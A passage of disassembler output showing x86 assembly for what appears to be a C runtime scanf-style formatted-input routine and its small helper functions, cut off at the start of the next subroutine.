-14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C504, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C2F8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C504, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C504, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C508, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C508 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C504, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C504, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8A8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C780 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C778 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C2F8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C504 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C504, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C504, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C504, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C504, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C2F8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C504, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; 